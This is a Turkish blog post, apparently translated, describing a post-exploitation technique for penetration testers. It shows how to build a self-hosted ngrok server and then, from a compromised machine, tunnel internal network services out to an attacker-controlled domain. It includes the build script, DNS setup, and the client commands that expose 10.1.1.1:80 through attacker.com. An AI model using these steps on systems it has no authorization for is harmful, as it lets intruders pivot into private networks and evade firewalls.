Kısıtlayıcı ortamlarda dahili sunucuları proxy olarak kullanmak için ngrok kullanma


18 Kasım 2015 · güvenlik ngrok pentesti

Ağdaki bir makineye kabuk erişimi sağlarken, umut verici bir saldırı vektörü, tehlikeye atılan makineden erişilebilen web uygulamaları ve hizmetleri için dahili ağı kontrol etmektir.

Çoğu zaman, dahili web uygulamaları yerel alt ağlarda bulunur ve bir saldırganın, ağda potansiyel olarak daha fazla erişime sahip başka bir makineye erişim sağlamak için bu uygulamaları keşfetmesine veya bu uygulamalardan yararlanmasına olanak tanıyabilir.

Ancak, yalnızca güvenliği ihlal ettiğiniz bir makinede kabuk erişimi olan bir saldırgansanız, güvenliği ihlal edilen makinede proxy çalıştırmak her zaman kolay bir iş değildir. SSH erişiminizin olmadığı, ayrıcalıkları yükseltemediğiniz veya bağlantı noktalarını açamadığınız senaryolarda, yerel ana bilgisayarları kendi sunucunuza proxy yapmak istediğinizde aklınıza bir çözüm geliyor.

Ngrok aracının kullanışlı olduğu yer burasıdır. Ngrok wiki’nin Github’da açıkladığı gibi, araç şunları yapmanızı sağlar:

  • NAT veya güvenlik duvarı arkasındaki herhangi bir http hizmetini sunucunuz.com’un bir alt etki alanında internete gösterin
  • NAT veya güvenlik duvarının arkasındaki herhangi bir TCP hizmetini sunucunuz.com’un rastgele bir bağlantı noktasında internete gösterin
  • Tünel üzerinden iletilen tüm http isteklerini/yanıtlarını inceleyin Tünel üzerinden iletilen tüm istekleri yeniden oynatın

Ngrok sunucu ve istemciden oluşur. Kutudan çıktığı gibi bir ngrok istemcisi kullanırsanız, istemci söz konusu yerel ana bilgisayarı ve bağlantı noktasını ngrok.com’daki rastgele bir alt alana proxy olarak yönlendirecektir; bu hizmet, ngrok projesinin bakımcıları tarafından ücretsiz (sınırlamalarla birlikte) sağlanır.

İşte ngrok’un işlevlerini gösteren iyi bir şema:

Ancak Ngrok ayrıca kişiye kendi sunucusunu çalıştırma seçeneği de sunuyor. Proxy’sini yaptığınız trafiğin üçüncü taraf ngrok hizmetinden geçmemesini sağlamak için muhtemelen yapmak istediğiniz şey budur.

Ngrok öncelikle Go tabanlı bir araç olduğundan, ngrok istemcileri son derece taşınabilirdir ve önceden derlenmiş tek bir ikili dosyayla Mac, Windows, Linux/ARM ve FreeBSD üzerinde çalışır.

Kendi ngrok sunucunuzu kurmak için şu adımları izleyin:

Bir alan adı alın ve aşağıdaki DNS kayıtlarını ekleyin:

attacker.com -> your_host_ip  
*.attacker.com -> your_host_ip

Alan adınızı NGROK_DOMAIN değişkeninde kullanacak şekilde aşağıdaki scripti değiştirin ve farklı kaydedin. setupngrok.sh:

NGROK_DOMAIN="attacker.com"  
git clone https://github.com/inconshreveable/ngrok.git  
cd ngrok

openssl genrsa -out rootCA.key 2048  
openssl req -x509 -new -nodes -key rootCA.key -subj "/CN=$NGROK_DOMAIN" -days 5000 -out rootCA.pem  
openssl genrsa -out device.key 2048  
openssl req -new -key device.key -subj "/CN=$NGROK_DOMAIN" -out device.csr  
openssl x509 -req -in device.csr -CA rootCA.pem -CAkey rootCA.key -CAcreateserial -out device.crt -days 5000

cp rootCA.pem assets/client/tls/ngrokroot.crt  
# make clean
make release-server release-client  

(orijinal komut dosyası: https://Gist.github.com/lyoshenka/002b7fbd801d0fd21f2f)

Komut dosyasını şununla çalıştır: bash setupngrok.sh ve ardından dizinleri ngrok klasörüne değiştirin cd ngrok.

Şimdi, son kısımda, ngrok sunucusunu çalıştırmak için aşağıdaki komutu çalıştırmalısınız (daha önce komut dosyası tarafından oluşturulan ssl .key ve .crt’yi belirtirken):

bin/ngrokd -tlsKey=device.key -tlsCrt=device.crt -domain="$NGROK_DOMAIN" -httpAddr=":8000" -httpsAddr=":8001"

Yukarıdaki komutu çalıştırmak aşağıdakileri döndürürse, hazır olmalısınız:

[11/18/15 00:52:24] [INFO] [metrics] Reporting every 30 seconds
[11/18/15 00:52:24] [INFO] [registry] [tun] No affinity cache specified
[11/18/15 00:52:24] [INFO] Listening for public http connections on [::]:8000
[11/18/15 00:52:24] [INFO] Listening for public https connections on [::]:8001
[11/18/15 00:52:24] [INFO] Listening for control and proxy connections on [::]:4443

Ngrok istemcisini şuradan kopyalayın: ngrok/bin/ngrok güvenliği ihlal edilmiş ana makinenize gönderin ve ardından dahili trafiği proxy olarak kullanmak için aşağıdaki komutları çalıştırın:

NGROK_DOMAIN="attacker.com"  
echo -e "server_addr: $NGROK_DOMAIN:4443\ntrust_host_root_certs: false" > ngrok-config  
./ngrok -config=ngrok-config 10.1.1.1:80

Yukarıdaki son komut, 80 numaralı bağlantı noktasındaki 10.1.1.1 yerel adresini, saldırgan.com’da bulunan ngrok sunucunuza tünelleyecektir. Her şey yolunda giderse aracın çıktısı şöyle görünmelidir:

Tunnel Status                 online  
Version                       1.3/1.3  
Forwarding                    http://3a4bfceb.attacker.com -> 10.1.1.1:80  
Forwarding                    https://3a4bfceb.attacker.com -> 10.1.1.1:80  
Web Interface                 http://127.0.0.1:4040  
# Conn                        0
Avg Conn Time                 0.00ms  

Artık https://3a4bfceb.attacker.com adresini ziyaret edebilmeniz gerekir; bu, aslında dahili trafiği güvenliği ihlal edilmiş ana bilgisayar üzerinden @ 10.1.1.1:80 dahili sunucuya proxy olarak yönlendirir.

Bu teknik, iç ağ için proxy oluşturmanın kolay bir yolu olmayan iç ortamlarda sıkışıp kaldığınızda gerçekten yararlı olabilir.



Source link